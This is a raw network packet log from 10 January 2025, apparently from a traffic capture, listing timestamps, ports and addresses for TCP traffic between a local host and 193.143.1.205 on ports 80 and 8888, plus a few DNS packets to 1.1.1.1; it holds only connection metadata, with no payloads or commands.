Jan 10, 2025 22:33:17.882397890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882432938 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.882471085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882486105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882497072 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882508993 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882520914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882534981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882549047 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.882549047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882563114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882570028 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.882594109 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.882607937 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.882864952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882877111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882889032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882900953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882915974 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882924080 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.882936001 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.883033037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.883045912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.883076906 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.883116961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.883128881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.883141041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.883152962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.883160114 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.883164883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.883178949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.883183002 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.883212090 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.883647919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.883661032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.883671999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.883682966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.883692026 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.883696079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.883707047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.883712053 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.883718967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.883729935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.883740902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.883752108 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.883757114 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.883758068 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.883765936 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.883769989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.883783102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.883806944 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.883807898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.883827925 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.884243965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884254932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884264946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884277105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884289026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884295940 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.884300947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884311914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884327888 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.884335995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884347916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884358883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884371042 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.884373903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884386063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884391069 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.884397984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884411097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884419918 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.884440899 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.884768963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884793043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884804964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884816885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884829044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884830952 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.884840965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884854078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884860039 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.884865999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884866953 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.884877920 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884887934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884896040 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.884900093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884911060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884922028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.884923935 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.884939909 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.884968996 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.908191919 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.919598103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.919630051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.919641972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.919667959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.919680119 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.919692039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.919701099 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.919743061 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.919780970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.919795036 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.919806957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.919850111 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.933923960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.933950901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.933964968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.933990002 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.934020996 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.934092999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.934113979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.934128046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.934154034 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.934190035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.934231043 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.934231043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.934247971 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.934261084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.934284925 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.934304953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.934317112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.934341908 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.934422970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.934436083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.934448004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.934462070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.934463024 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.934498072 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.934627056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.934638977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.934649944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.934675932 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.934689045 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.934787989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.934801102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.934813976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.934828043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.934842110 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.934868097 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.972956896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.972978115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.972990990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.973004103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.973016977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.973037958 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.973041058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.973054886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.973066092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.973066092 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.973104000 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.973140001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.973153114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.973165035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.973177910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.973206997 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.973232031 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.973251104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.973366022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.973378897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.973390102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.973402023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.973404884 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.973414898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.973423958 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.973452091 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.973613977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.973625898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.973638058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.973650932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.973661900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.973674059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.973681927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.973690033 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.973690033 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.973732948 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.973979950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.973992109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974003077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974014997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974023104 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.974026918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974039078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974051952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974056005 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.974083900 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.974093914 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.974284887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974298000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974308968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974318981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974329948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974337101 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.974344015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974354982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974356890 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.974366903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974380970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974385023 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.974410057 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.974596977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974608898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974636078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974673033 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.974673033 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.974781990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974793911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974805117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974817038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974828959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974833965 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.974852085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974858999 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.974864960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974875927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974890947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974893093 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.974903107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974915981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974919081 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.974929094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974941015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.974946976 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.974965096 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.975569963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.975583076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.975594044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.975613117 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.975615025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.975622892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.975625038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.975630045 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.975630999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.975634098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.975640059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.975646019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.975651979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.975655079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.975662947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.975677013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.975692034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.975697994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.975706100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.975716114 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.975729942 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.976195097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.976207972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.976218939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.976232052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.976242065 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.976244926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.976257086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.976269007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.976270914 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.976281881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.976285934 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.976294994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.976305962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.976317883 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.976319075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.976346970 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.976357937 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:18.010262966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.010282040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.010294914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.010339975 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:18.010360003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.010375023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.010396957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.010409117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.010411024 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:18.010421991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.010468006 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:18.010468006 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:18.024542093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.024555922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.024568081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.024583101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.024602890 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:18.024656057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.024662018 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:18.024668932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.024684906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.024692059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.024730921 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:18.024759054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.024835110 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.024847984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.024879932 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:18.024980068 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.024992943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.025003910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.025018930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.025023937 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:18.025047064 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:18.025188923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.025201082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.025212049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.025224924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.025238991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:18.025262117 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:18.025367022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.025378942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.025389910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.025409937 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:18.025430918 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:18.063371897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.063405991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.063417912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.063513041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.063525915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.063538074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.063674927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.063688040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.063699007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.063765049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.063776970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.063788891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.063805103 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:18.063846111 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:18.063977957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.063990116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.063999891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.064013004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:18.064023018 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:18.064054012 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:18.100328922 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:18.803399086 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:19.186757088 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:19.191656113 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:19.191766977 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:19.192688942 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:19.197484016 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:19.989115953 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:20.035353899 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:20.205842972 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 22:35:21.393399000 CET	65505	53	192.168.2.6	1.1.1.1
Jan 10, 2025 22:35:21.398232937 CET	53	65505	1.1.1.1	192.168.2.6
Jan 10, 2025 22:35:21.398334026 CET	65505	53	192.168.2.6	1.1.1.1
